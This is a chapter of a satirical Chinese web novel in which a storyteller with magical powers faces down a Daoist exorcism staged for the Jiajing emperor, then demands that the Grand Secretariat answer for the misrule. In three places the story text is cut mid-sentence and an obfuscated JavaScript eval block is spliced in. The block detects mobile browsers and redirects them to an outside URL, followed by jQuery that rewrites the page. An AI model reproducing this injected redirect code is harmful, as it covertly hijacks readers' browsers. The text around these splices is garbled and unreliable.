“去早套中问!”他用肿成三倍大的嘴含糊下令:“立即去早套中问!不得迟误,否则朕揭了伊们的皮——” 忠孝秉一真人陶仲文,现下飞玄真君最为信任、最为依赖的方士,多年以来,为皇帝求仙、论道、炼金丹,权势炙手可热的国师老baby;如今形式诡谲,妖人的手腕简直不可思议,大概也只有期盼这位老baby能够大展神威,降妖除魔了! 总之,陶仲文,你去把这妖人除掉! 黄锦迅速答应,立刻点出一个妥当亲信,让他赶紧带着人把陶真人拎来;安排周密之后,他亲自扶起杠子,几人扛着啊哟连天的真君,飘然离开殿门,同样消失于夜色之中了。 · 连一刻也没有为嚎叫的飞玄真君、万寿帝君、忠孝帝君哀悼;第二个被拽到战场的,正是我们的少师、少保、少傅,忠孝秉一真人,陶仲文陶仙师。 说实话,在整个事件中,陶仙师真的是最莫名、最无辜的一个;虽然深受皇帝信任,常驻西苑炼丹;但因为顾虑外扰坏了火候,所以陶仲文及弟子都是在最幽静、最偏僻的所在闭关修炼,对真君处那一场惊天动地的大乱子是一无所知;等到太监们满头大汗的闯入门来,陶真人才大惊失色: “你们要做什么?” “有旨意传召!” 太监们绝不多言,出示完信物之后,架着老头就走——废话,要是说多了老头看穿底细,直接躺下来打滚不肯走怎么办? 当然,陶真人七十多了,也实在没有能耐在晚上飞奔过西苑的林木山石;所以太监们将他老人家的四轮车翻了出来,把人放在上面推着跑——这四轮车原本是陶真人仰慕诸葛武侯之风范,特意打造出来烘托自己仙风道骨的;但如果武侯再世,那么应该诚恳告诫后人,四轮车走山路是一定要垫软垫的,否则就会像如今这样,速度一快,坚硬车板便会迅猛撞击松垮臀部,于是不过片刻,陶真人就忍耐不住,哎哟大叫了出来。 当然,无论陶真人怎么喊叫,太监们都是不肯暂停半步的;于是陶真人也就只有这样一路叫唤,在余音绕梁中,无奈颠簸着去了。 · 如此拼力赶路两三刻钟的功夫,四轮车终于赶到了约定碰头的场地。因为要躲避妖人可能的邪法,所以黄公公特意选了西苑最偏远,最不易觉察的百兽园。这里原本是替皇家饲养飞禽走兽的园林,只不过禽兽们在替圣上试验丹药后先后飞升了重金属星球(当然,这是它们没福),这园子也就空了出来,等闲连打扫的人没有几个,出入的路径都被荒草掩没;算是现在最安全的去处。 因为过于隐蔽,连陶真人都不怎么知道底细;所以他一瘸一拐下了四轮车,只觉一头雾水: “你们到底把老夫带到了……” 话音刚落,远处传来叫喊,陶仲文回头一看,正是飞玄真君的车驾先发后至,着急忙慌的赶来了。 你不能不承认,在九族严选的逼迫下,皇城工匠的技艺确超凡脱俗,即使这猫用暖轿严重超重,长途奔跑也没出什么岔子;而且工匠们设计时别出巧思,这轿子挪动速度一快,内里拼接的零件就会彼此摩擦,发出吱吱呀呀,好似猫叫的声音。 ——所以,在陶仲文的眼里,眼下就是一辆暖轿在喵喵叫着向他扑来,暖轿左右是两条毛腿v型张开,高高翘出,其上毛毯飞扬;前后则是一群太监涕泗横流,一边跑一边抹小珍珠—— 陶仲文:???!!! ——啊啊啊啊啊啊!! 瞳孔地震,魂魄出窍;此时此刻,刚刚还只在陶真人心中隐约环绕的某个可怕想法,终于在恐怖的震骇中变得格外的鲜明起来—— 他一定是走火入魔了!! 是的,从几个太监飞扑过来把他抓进四轮车,一路颠沛流离、开始莫名狂奔之时,他肯定就已经走火入魔,进入幻境了! 如果不是邪魔幻境,故意引诱,眼前这恐怖的世界又该如何 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17288071|198458||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 解释?! 这个世界是不可能的,这个世界是虚假的!这样的世界我怎么能够承认!我一定要创造一个真正的世界,有飞玄真君存在的世界—— ……喔这就算了吧,其实仔细想想,有真正之飞玄真君存在的世界也还是蛮可怕的。 总之,他应该是修习内功火候不对,陷入了道经中“恶热发狂,登高而歌,弃衣而走”的状态。种种颠倒幻象,莫能细数;眼耳鼻舌身意,都会被外魔扰乱,所见所闻,所思所想,都将滑在不可理喻、不可思议的迷狂之中。 不过,这也太不可理喻了!! 陶仲文猛咬舌尖,强自恢复;赶紧向后大退一步,手上已经掐出了金刚法印;据说道家浩然内气,足以辟易邪魔,但这外魔居然能幻化飞玄真君的车驾,可见确实邪得有点非同寻常,陶真人的修为到底能不能匹敌,其实当真是未知之数。 还好,这暖轿在数丈开外停了下来。太监哭泣着掀开轿帘去搀人,内里却是一阵晃动,然后传来了含糊不清的声音,似乎是在尖声责怪太监们筹谋不精,伺候不周,居然都不晓得提前在此处布设辟邪的宝物: “朕巴西苑交给了伊们,伊们就是这么打点的。要不四今日亲临,怕还不晓得伊这般勤勉,这般是疯君上;朕的忠仆,便是这般——哎哟!——” 陶真人:? ……等等,这熟悉的阴阳怪气,这似曾相识的刻薄尖酸,这令人怀念的老登味道——如果只是“幻象”的话,这外邪的模仿技术会不会也太高明了点? 陶真人迟疑片刻,不觉垂下了手指。那群太监围着求饶,还在竭力平息皇帝借题发挥的邪火;东厂麦公公则一溜小跑了过来。 “陶真人,别的咱都不说了!”他一路跑来,气喘吁吁:“您老有什么驱魔降妖的法子,赶紧都拿出来罢!一切材料人手,咱家给你预备;今日必得在这里料理了此事,否则等到天色一亮,闹将出去,怕不是天都得翻过来!” 陶仲文一愣:“什么?到底怎么了?” ——他还啥都不知道呢! “天降的大事!”麦公公气急败坏:“今日皇爷清修,到亥时二刻,突的就有个妖人从天而降,不知用了什么邪法,当真是阴狠毒辣,所向披靡,东厂高手,一点办法都没有!咱们拼力才保了皇爷出来,在此刻暂行躲避。陶真人,你一定要想想办法!” 陶真人:……诶? 陶仲文呆滞移开目光,借着月色远远望去,恰看到车窗外长腿上搭着的毛毯随风起伏,露出下面肿胀青紫的皮肤;而且迎风细闻,似乎还有股子秘制跌打油的气味……联想一下刚才的声音,难道这就是飞玄真君江湖豪情侠胆柔肠之大腿? 显然,太监宫人们吃了熊心豹子胆,也决计不敢伤到真君分毫(此处请忽略宫女勒脖之往事);他被人一路推来,沿途也不像是爆发了什么宫变的样子;那么排除一切不可能后,剩下的当然只有一个可能! ——不是,我打邪法?真的假的? 陶仲文张了张嘴,发不出声音来。自家知道自家的事情,虽然他被皇帝尊为仙师,位高权重,但实际能仰赖的手段,不过也只有一点炼药问卜,窥伺物候的方术,外加特别能察言观色,舔皇帝舔得很舒服而已;但现在,你让人家这样体制内混出来的神仙去对付野路子妖怪,那个难度,实在就…… 别的不说,这妖人能把皇帝一行撵得像野狗一样的乱窜,那肯定是真有点子手段呀! “仙师!”眼见陶真人不出声,麦公公也急眼了:“您老可千万拖延不得!” 以眼下的形势,除了虚无缥缈的辟邪法术之外,他们是真找不到半点法子了! 事已至此,再无他法,陶仲文大汗淋漓,只能咬着牙齿开口: “……预备朱砂吧,老夫用雷法试一试!” 4. 除魔 被绞尽脑汁、临时支走后,杨易随着发抖的小太监拐到了耳房,在这证物存放室搜刮了个心满意足。 你别说,司礼监的人虽然人品败坏,但搜罗的眼光确实非常不错;高凤准备的证物箱子里,不仅包括了《西游记》最原始的手抄稿子,还包括了底定美猴王形象的几份原始宋代刻本、玄奘取经的形象流变考证、乃至五代时流传下来的《大唐西域记》刻本——据高凤小王八痛哭流涕的交代,这是因为他想寻根究底,挖出《西游记》诽谤思想之真正源头;但以杨易的眼光看,这箱子里的玩意儿委实价值惊人,要是落到正经学问人手里,怕不是憋个几十本专著,都还绰绰有余呀! 哎呀,东厂厂公栽赃陷害的手腕,还搞得怪严谨的哈! “那么。”杨易愉快地捡点完这份文献宝藏,彬彬有礼地征询高凤的意见:“我就把这些东西带走了?” 高凤能说什么呢?高凤只能继续打哆嗦。实际上他被迫离开时,已经秒懂了干爹的暗示,所以拼尽全力,也要拖延一下时间;除了本来的证物之外,还不惜献上了自己所有的珍藏——宋代的刻本,五代的印板,这些文物在大明也是有价无市,罕见得不得了的宝贝;都是高凤慧眼如炬,假公济私,自己给自己捞的好处;但事到如今,也实在顾惜不得这许多了。 但是,他已经竭尽小金库,至今也只拖延了半个多时辰的功夫而已……半个多时辰,到底够吗? 杨易仔细裹好了文件,锁好了箱子,再拍一拍锁钥:“很好,那么现在该再找皇帝陛下聊聊了……诶,皇帝怎么跑得这么远了?” 他对着光屏纳闷片刻,再次点开了自动追寻。 · 一回生,二回熟,第二次场景转换,杨易就相当从容了;他悄然降落于一处黑黢黢的灌木中,将晕头转向、兀自瘫软的高凤随手丢下,再拍一拍身上灰土,信步自暗处走出——山石之下火光熊熊,十几个太监面涂朱砂,手持火把,呈太极绕定中央暖轿,彼此掩护遮蔽,腰间各有奇门器械;而阵势的最前方则是一个白发老者,道袍飘飘,持剑而立,威风颇不一般。 杨易:? 相比起前一次相见的惊恐失措,这一次众人也冷静多了。持火把的太监远远望见杨易,立刻向中心收拢,护住暖轿;白发老者则一抖长剑,忽的屈身探腿,左右摇晃,一瘸一拐,原地兜起了圈子。 杨易:?? 杨易呆楞片刻,低头问瘫在地上的高凤: “这是什么?” 高凤抖了一下——身为飞玄真君的亲信,他理应坚贞不屈,力抗强横;但没办法,这妖人实在是强过头了——他只能委委屈屈道: “这是禹,禹步。” 这不仅仅是禹步,还是专司伏魔的丁字九步;但眼看诡异说书人并没有被降服的迹象,高凤也就聪明的选择了不多嘴。 踏罡步斗,走完禹步,老者提起真气,大喝一声,震动四野,随即长剑一竖,左右横扫,右手配合捏诀,二指前刺,声势凌厉;同时念念有词,大声唱念,韵律急促,每一字又浑不可解。杨易看得聚精会神,忍不住再次发问: “舞剑的姿势还真有水平诶……这又是什么?” “五雷,五雷诀……” “喔。”杨易兴致盎然:“你懂得很多么!” 废话,在飞玄真君面前做事,没有点神秘学知识傍身,怎么能够立足? 高凤讷讷口吃,额头上的汗珠淋漓而下——他看出来了,对面的陶仙师迄今已经换了起码五套降魔真法;从太监摆的七星阵,到禹步,到踏斗,到雷诀,到咒语——而具体之效果么,反正身边这妖人还看得挺入神的…… 总之,西苑偏僻角落之内,如今就是这么个情形——远道而来的诡异说书人衣袂飘飘,目不转睛,看得是啧啧赞叹,对面的老头则翩翩起舞,又唱又跳,四周宫人各持法器,摇头晃脑,随着节奏敲得丁零当啷。震天作响,一齐为老头激情伴奏;等唱跳到高·潮处,就连缩在暖轿里养伤的飞玄真君,都要竭尽全力,从肿胀的喉咙里大声合唱出除魔伏妖的咒语来! 急急,急急如律令;除魔,除魔,魔从四面八方除! 啧啧,要是排除一下诡异气氛,这怎么又不算一种新式中老年唱跳男团呢? · 出于对所有艺术形式的尊敬,杨易在原地束手站立,认真观看完了这场由中世纪除魔战士倾情贡献的多对一演出;等到表演形式更换的间隙,他还要鼓一鼓掌,表示赞叹——但不知道怎么的,他每鼓掌一次,对面的老头和太监额头上的汗就要多上一层,最后干脆是汗出如浆,浸润衣衫;那仓皇套上去的道袍一片透湿,上面的朱砂符箓,一道一道都流了下来。 这么紧张的么? 终于,主持法阵的陶真人再也不能忍耐,不得不孤注一掷——他再次提气爆喝,咬破舌尖,一口鲜血喷上法剑;随即挽个剑花,弓步前冲,朝对面的妖孽直刺了过去! 气势凌厉,舍生忘死,一往无前;此剑灌注了陶真人数十年苦心砥砺的所有真元,当真是锋锐莫当,诸邪辟易,足以殄灭天下一切的妖魔。此剑一出,便连身后惊骇恐惧,犹自呻·吟的至尊至尊之飞玄真君,都忍不住屏住了呼吸! ——然后,陶真人刚刚冲出两步,左脚便与右脚相绊,扑通一声,仰面栽倒;不仅长剑脱手,还登时惨叫起来! 飞玄真君:……? · 事实上,早在挥剑跳到第三轮的时候,团队舞担陶仲文陶真人就已经意识到不对头了。 能在飞玄真君手下混这么多年,陶真人的专业素养自然极为深厚;在听闻麦福半吐半露交代了一点底细之后,他也是绞尽脑汁,用上了自己能想到的一切法术——暖轿四面的山石树木,早就用朱砂黑狗血混合香灰仔细涂抹,写上了最狠辣的诛魔符咒;起伏错落的灌木里埋入麻绳缝就的天罗地网,能把一切妖鬼打入五狱。除此以外,周围还设置有陶真人走南闯北,辛苦搜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17288072|198458||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 集来的方术:巫蛊、劾治、祈襄、请神、遁甲……他是真尽力了! 但结果呢?结果就是他亲眼看到那妖人践踏过一切精心设置的法术,毫无阻碍地站在自己所知的最强法阵面前,没有受到任何影响的样子。 从那一刻起,兀自跳舞的陶仲文就非常清楚,这种真的是请什么都没用了。 事已至此,他就不能不为自己思考后路了;显然除魔活动绝不能停止,否则暴怒的飞玄真君会直接扒了他的皮;但是呜呜咋咋,继续仪式,万一当真触怒了那个不可理喻的妖人——仙人,那么后果之惨,当然也可以预料;于是陶仲文思来想去,唯一的解法,就是当场直接来个平地摔。 如果此事平定,最后是飞玄真君占据了优势,一切回复正轨,那么他总可以辩解,说自己偶有失误,纯粹是因为深夜被太监拖出来把屁股给颠麻了,所谓动作失调,非战之罪,这口锅总能甩个一半;但如果——如果是仙人赢了呢? 哎哟,那就是自己愚钝不堪,为仙法所慑,情不自已,拜倒在地啰——什么,你说仙人其实根本没施展什么法术?啊呀,这不显得您施法准么! 随风摇摆,处处周到,这就是在飞玄真君面前磨砺出的情商,明不明白? 当然,既然处处都要应付周到,那表演就绝不能丝毫含糊;所以陶仲文狠下心来,直接给自己摔了个实在;翻倒之后筋骨错动,真是疼得眼冒金星,几乎流出泪来。他躺在原地哀哀呻·吟,努力表现痛楚,却听前方哎呀一声,那仙人脱口惊讶: “怎么摔了?可要紧不要紧?” 老人家摔了可不是小事,杨易本能上前,想看看情况;但他走了几步,却见这老头浑身打颤,靠近一步就是一个哆嗦;于是迟疑片刻,回头望了望瘫在后面的高凤。 高凤:………… 还好,经过反复刺激之后,高凤已经有点承受力了——或者说麻木了;他现在遵守的是扒皮主义,谁能扒了他的皮,他就坚决服从谁。所以,他硬着头皮爬了过去,把陶仲文半抱半扶起来,按照往日服侍皇帝的经验,仔细揉捏关节,按压穴道,帮助缓解疼痛。 陶仲文半闭着眼,哼哼低叫,心中却在飞速思索——几十年的气功不是白练的,虽然摔得痛楚,实际却没有大碍,至少神志还很清楚。他敏锐察觉到,虽然先前麦福把这杨姓“妖人”说得狠辣恶毒,令人生畏;但至少现在看来,这说书人好像也没有凶恶到哪里去——人家还会派人来看看伤势呢,这不比自家飞玄真君通人性多了?没看到自己摔倒之后,后面真君还在框框拍打车板,催老头赶紧爬起来继续跳么? ……如果真有此共情怜悯之心,那么,或许也不是不可以少做缓和? 他心中一动,哼哼唧唧睁开眼睛,有气无力: “多,多谢这位先生……老朽实在失态。” “这不妨事。”杨易道:“老先生没有大碍吧?” 天呐,这人和皇帝不一样,这人还真可以沟通! 5. 召见 “老朽无事,多劳垂问。”陶真人道:“只是,只是老朽不解,如此夜深人静,先生贸然降临禁苑,不知有何指教呢……” “不敢。”杨易道:“在下只是莫名被锦衣卫下狱,百思不得其解,所以只能寻根究底,讨个公道而已。” “这老朽倒是不知……” 大概是见陶真人与妖魔一问一答,彼此平和,并无降妖伏魔之应有气氛,所以心中实在发急;或者听了几句觉得妖魔言语正常、不会吃人,因而勇气稍稍回复,反正站立在后方,全程负责伴奏的秉笔太监张佐终于壮起胆子,勉强说出一句: “——即使如此,宫中不是也已经给先生交代了么?再有他求,亦无,无不准。” 杨易喔了一声,低头看了看高凤——张公公的意思很清楚了,事已至此,如果贡献一个高凤能够糊弄过去,自然绝无吝惜;如果说书人有意泄愤,那额外再牺牲牺牲高家九族,也不是什么大不了的事情。反正只要能把这桩大事应付走,什么都是可以答应的! 高凤又筛起糠来了。 “这小太监当然很可恶。”杨易心平气和:“但只归咎于他一人,似乎也不太妥当吧?我呆的囚室里可有十几个囚犯,难道都是他抓的不成?” “家奴作犯,自然是稀奇古怪,无所不为!”出乎意料,这一次发声的居然是尊贵的飞玄真君;大概是见这妖物浑若无人,侃侃而谈,气势嚣张之至,偏偏左右亲信,又仿佛嘴笨口拙,拿他没有半点办法,无名业火,自然熊熊而生;于是往昔大礼议时孤身摧折众臣的勇气重又升起,哪怕身处尴尬,也要坚决辩经,强力反击:“一厂一卫十二宫监,皆朕之家奴,屈指何以十万计!若以十余万家奴一言一行一举一止之所有罪愆而归咎朕躬一人,朕何言哉,朕何言哉!万方有过,过在一人而已!” 你说高凤的事情朕有责任,难道十几万宦官宫人锦衣卫一切鸡毛蒜皮的过失,朕都有责任?你要真这么想,那朕只能说啊对对对;反正怪来怪去,无非万方有罪,罪在朕躬! 杨易皱眉:“陛下何必搪塞……” “陛下岂是搪塞!”张佐赶紧帮腔:“皇爷金口玉言,什么时候不是谆谆教诲,嘱咐咱们这些奴婢要循规蹈矩、忠孝仁义?万岁圣谕,煌煌在上;真是苦口婆心,木石有感;那些作孽的畜生自己不懂事,违逆圣意,犯下大错;难道,难道还要怪皇爷不成?” 说到此处,张佐语气伤感,竟然呜呜咽咽,有了哭腔——没错,他感同身受,居然把自己说委屈了! 明明都是高凤这小王八的过错,为什么还要追究我们楚楚可怜清白如一朵摇曳白莲的飞玄真君?上面的本意是好的,都是下面执行坏了呀! 杨易:………… 杨易有点沉默了。 说实话,今晚偶然拿到了高凤的妙妙诬陷小工具,杨易的心情其实是很不错的;这也是他愿意浪费时间,和颜悦色掰扯这么久的缘故。不过现在……哎,现在,亲眼目睹了主奴二人一唱一和的投入表演之后,杨易心中是真有些犯恶心了。 所以一切都怪高凤?没错姓高的小太监是犯贱,但他绞尽脑汁的大抓什么“道士皇帝”,难道是为了自己在抓吗? 他是道士么? 他叹了口气。 “在下的事情,其实也只是小事。说透也不值什么。”他淡淡道:“但我数月所见,可不止这一点小事。两个月前京中突然征地,说是奉了旨意要翻修朝天观,事起仓促没有预备,为了找木料土石,干脆强拆附近百姓的房屋,近万人流离失所,衣食无着!我在茶馆说书,亲眼见着乞丐日渐增多,秩序糜烂——列位诸公,这是高凤的责任么?” “此外,入春以来,涌入京中的流民也大大增加了,都说是外面赋劳役增常,朝廷聚敛无度,实在难以谋生,不能不闯进京城讨口饭吃;结果流民一多,秩序也随之大乱,偷盗抢劫,不可计数;我说书的那家日月兴茶馆,光是雇请差人提防盗匪,一月间就斗殴了七八次,次次都是见了血的——列位诸公,这又是高凤的责任么?” “还有,在下第一回见识锦衣卫的厉害,也不是在三日之前。京中的锦衣卫、厂里的公公,隔三差五就要到茶馆勒索,每次都要精心招待,奉送红包——这还是日月兴后台不小,才能从容应付;至于其余店铺,受害更不可计量。嘉靖嘉靖,家家皆净,这又是谁的责任呢?” “——当然,如果诸位当真觉得委屈,那么很好,在下这里恰恰有个投屏功能,不妨付诸公证。” “投,投屏?” “也就是说。”杨易好心解释:“我可以把此处的辩论投射到天幕上播放,并请每一个观看的平民现场评判,匿名打分……如果大家评判在下说得无礼,在下一定道歉,好不好?” ???!! 这一段相当平和,但四面却是登即寂静,再无声响。不但张佐的哭声戛然而止,就连缩在地上的陶真人都不敢哼唧了;在场众人目瞪口呆,心中只闪过同一个念头: 闹大了! 是的,这话一说出来,那么事情就是闹大了,上称了,一千斤都打不住了——如果说先前小小诬陷,牺牲一个高凤就可以应付;那么现在这种招数,可是谁也顶不下来的! 投屏,还要上天幕——天呐! 带明百姓有多么感激真君的大恩大德,别人不知道,他们还能不知道么? 当然,理论上讲,面对这样无耻的龌蹉手段,在短暂惊骇之后,当场忠仆都应该竭力痛斥,奋力上前,拼死消灭此邪恶之投屏手腕才是——但现在呢?现在飞玄真君满怀期待的四面看了一圈,却只能看到一张张诡谲奇异,完全不可言说的脸! 还是那句话,这妖怪实在是强过头了呀! 于是,飞玄真君的脸也绿了! · 显然,无论真君的脸如何蓝绿变化,现在的形势都实在没有办法转圜了。要想动用暴力强制闭麦,那自是绝无可能;至于继续辩经,驳斥邪说么……哎,张佐也不过是嘴硬了半句,就招来了公开投票,你要继续纠缠下去,那天知道这怪物会爆些什么手腕出来? 怎么,你很想来个嘉靖皇帝执政合法性的公开真理大讨论么? 如果这妖人当真放肆,他们又能在投屏说什么呢?啊执政问题上我们大明朝的历史发展比较长,相关经验比较丰富;啊我们实施道士治国,是想在调整布局的过程中,提高执政水平,稳定朝野格局…… ……别讲了,别讲了,我害怕呀! 不过,这也是太监们有些自取其辱了;实际上杨易远道而来,时间又耽搁得太晚,是并不愿意和皇帝近臣苦苦纠缠复杂问题的,不然骂激动了今晚的觉还睡不睡了?但对面脸皮之厚,匪夷所思,才让他忍耐不住,破例嘴了两句——怎么,现在外面形势如何,你们是真能说不知道? 他啧啧出声,摇一摇头,同样不说话了。 在这一片空寂的、尴尬的、令在场一切人毛发直树的安静中,终于有人轻轻,轻轻开了口。 “……好叫皇爷知晓。”站在暖轿后头的东厂厂公麦公公跪了下来:“这位——先生说的修朝天观、玄都观的事,是年初内阁交上来的条陈,奴婢批的红,奴婢死罪。” 飞玄真君哼了一句,说书人则扭头看向了麦福。 顶着两巨头同时的关注,厂公依旧撑住了语气,有条不紊的继续: “此外,有关安置流民、平息京中治安的几个折子,也是内阁拟就的。有的折子司礼监批了,有的折子现在司礼监还没有批;都还在商议之中。” 四面又静了一静,杨姓说书人平静出声: “……你的意思,外面这种种乱相,都是内阁的过错?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17288073|198458||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “老奴不敢。”麦福依旧不动:“只是先生说过,来此是要寻根究底。” 先生要只是过来兴师问罪,发泄一口怒气呢,那这里太监们早就已经预备好了替罪羊;您要是不喜欢,我们还可以换一个再杀,包您满意;但既然先生自己都说了,是想看一看问题真正的缘由,那么一路追究下去,当然不可能不追究到内阁的头上——方案是他们拟的,事情是他们办的,他们能置身事外么? 说书人默了一默: “你待如何?” “先生说的事情,有些我们知道;有些我们曾经听闻;有些我们也不清楚。”麦公公尽力平和:“先生要问罪,我们无话可说;先生要问其它,恐怕必得内阁出面。” 说书人眯起了眼睛,远远打量着厂公僵硬的老脸——他大概能猜到麦福的意思,无非是眼看局势实在难绷,筹谋着多拖几个下水,起码也能分担一下火力;独乐乐不如众乐乐,宦官看到内阁穷措大置身事外,确实比挨打还要难受。不过,他也不能不承认,这个理由确实找得相当可以,至少是很难无视的…… 说书人沉吟片刻,露出了微笑。 “好吧。”他道:“那就把内阁请来一起谈谈……内阁呢?” “内阁在宫外。”站立在侧,全程神经紧绷的黄锦立刻接了一句:“宫中制度,夜半是不能惊动外朝的,要想召见,只有等明日了。” 说罢,他屏住呼吸,望向了那个匪夷所思、莫可揣测的妖人……还好,妖人似乎还挺尊重规则: “那么就明日一早,再做召见吧。” 终于!! 此言一出,在场所有宦官,几乎遏制不住,面上同时露出了狂喜的神色——明日一早,再做召见;那就意味着他们至少还可以喘息一晚,设法找找新的门路! 在当下的形势里,这点缓和的时间是何等宝贵啊! 两大权宦竭尽心力,偷天换日,真可谓手腕百出,终于盗出了这一份生机。而这样的手腕,说书人或许没有看懂,或许看懂了却不在意,总之,他只笑了一笑: “……外面已经宵禁,家里怕不是也被锦衣卫抄了,晚上实在没有去处;在下也只有在此处先将就一回,找个地方对付一晚了。另外劳烦诸位,再给我弄点宵夜填填肚子。” 说罢,他正欲转身,却又回头向真君微笑: “对了,我再提醒一句;要是诸位晚上再想做点什么暗算,那其实也大可不必了。” · 也许宫人们听从了劝告,没有搞小动作;也许他们搞了小动作,但杨易没有发现。反正他第二天早上起来,总体还是觉得神清气爽,颇有活力;而大宦官们周密筹备了一晚,至少招待得还是挺体贴的;一大早起床之后,立刻就有人奉上热水、湿巾、香水、胰子,伺候梳洗;梳洗完毕,还有六荤六素八样小菜十二品各色细粥,丰厚得叫人啧舌的早膳;两三刻钟的功夫慢慢吃完,心满意足的杨易才问宫人: “内阁呢?” 早餐的仪式搞得这么费事,就是为了尽力拖延时间,但现在也实在拖不下去了;宫人面无表情地回话: “麦公公与张公公已经去传令了,即刻就能到。” 当今圣上常年宅居西苑炼丹,名为玄修,暗操独治,私下召见重臣也是常事;但往日传唤,都是派个料理文书的小太监招呼一声,从来没有司礼监巨头亲自出马的道理;说白了,这多半是大太监们也被昨夜的闹剧搞得有点精神崩溃,所以抓住一切时机,都想远离这匪夷所思的妖人,到正常人待的地方去喘一口气,哪怕缓和片刻也是好的——也就是飞玄真君腿疼屁股疼实在动不了了,否则皇帝搞不好还想亲自爬去接内阁大臣呢。 哎呀,这是何等的礼贤下士呀! “那么,是在哪里见面呢?” “……无逸殿。” 6. 见面 内阁大臣歇息的值房就在西苑左近,步行也不过一刻钟的功夫;依照常理而论,内阁值房轮班负责,每日只需有一位大臣驻守即可;但年初搬倒政敌夏言,顺利上位之后,新任首辅严嵩严阁老为了炫示忠诚,追求进步,尽显舍己奉君之公心,竟干脆把自家被褥搬到值房,在办公室就地住下,直接开启了他的007全天无休牛马人生。 顶头上司如此牛马,下属阁员自不能稍有落后;于是次辅张治及新晋萌新徐阶等无可奈何,只有含泪辞别家人,同样打点细软常驻值房,不得不与严阁老的纵横老脸日日相对,虚情假意,时时内耗,精神状态高度紧绷。 而如此内卷,尚非极致,严阁老一不做,二不休,干脆仗着自己七十了睡得少,每日勤劳政务,亥时(约晚十一点)方睡,卯初(约早五点整)又起,整肃衣冠,净口净手,到值房供奉之当今飞玄真君万寿帝君忠孝帝君神位前进香参拜,三跪九叩,尽显臣子拳拳之忠贞。 每天睡不到六个小时的张治和徐阶:………… 说实话,嘉靖年间内阁斗争如此之惨烈,真不好说是几成为了政治,几成为了私怨呐。 总之,今天严阁老又是第一个早起;焚香叩拜进献香花之后,他心满意足,正欲与神思恍惚的属下再交流交流近日青词写作之进展;却听外头脚步声响,起身一看,正是司礼监秉笔张佐及东厂厂公麦福推门而入,一言不发。 严嵩:? 严阁老的笑容有点僵住了。 秉笔太监张佐,负责监察宫中一切章奏及公文往来,举劾非法事宜;东厂厂公麦福,那职权范围更不必多说;换句话讲,现在便仿佛一个当官的推门后,正看到克格勃、纪检委、效率部的老大齐刷地站在你的门口;那第一心情,肯定不是什么惊喜。 饶是历经风波,几位阁臣的脸色也有点难绷;严阁老都得调整一下表情,才勉强开口: “……两位中贵人下降,不知有何要事呢?” 张公公全无表情,麦公公表情全无,如果仔细查看,还能见到四个硕大眼袋,吊在老眼之下: “圣上传召。” “那倒是劳动内相们走这一趟,其实叫个宫人来招呼一声也就是了。内相们早起辛苦,不妨用一点茶点?” 说到此处,严阁老目光左右游移,又伸手按了按腰间——这个暗示非常明显,就是请两位公公到隔壁坐上一坐,送点红包打听个缘由,摸摸皇上的心意。 不过,今日的公公却全无反应。麦福默了一默,只道: “都吃过了,就不必搅扰阁老们了,圣上那边还在等候呢。此外,不知礼部侍郎袁炜何在?” 礼部侍郎袁炜,因为文辞出众见识高妙,写的青词拍的马屁冠绝群臣,所以极得当今飞玄真君之宠幸,近年来飞黄腾达声势显赫,大有半步入阁、参预机要的征兆——当然,对于大宦官们而言,这些都不是什么重点;真正的重点是,他们昨夜紧急审问高凤,发现与这贱人勾结的诸外朝文官之中,袁炜袁侍郎算是动作相当凌厉的那一个;高凤关于《西游记》的情报,最早就是来自他的泄漏…… 好啊,原来是你小子把妖人给引来的! 造恶如此,怨仇难解,麦公公哪怕特意多嘴,也一定要把这沟槽的挫大一起拖下浑水! 严嵩愣了一愣:“袁侍郎的家离此不远,老臣立刻命人呼唤。” “那就请快些吧。”张佐道:“毕竟是大事。” · 两个内官莫名而来,莫名而去,态度古怪,不可解释,倒叫内阁上下都是一头雾水。但张太监亲口交代“大事”,他们还是听得懂的,所以紧急招来袁炜之后,便按照皇帝正式召见的隆重规格预备入觐:朝服、玉圭、金袋,还要额外戴上飞玄真君御赐之香叶冠,香叶冠外再笼罩一层曼妙青纱——这同样是严阁老卷出来的配置;为了搭配香叶冠,朝服外又要披一身杏黄道袍,再装点纹饰,表示身份;总之,宽袍缓带,衣袂翩跹,所谓仙气洒然,活似……一只大扑棱蛾子。 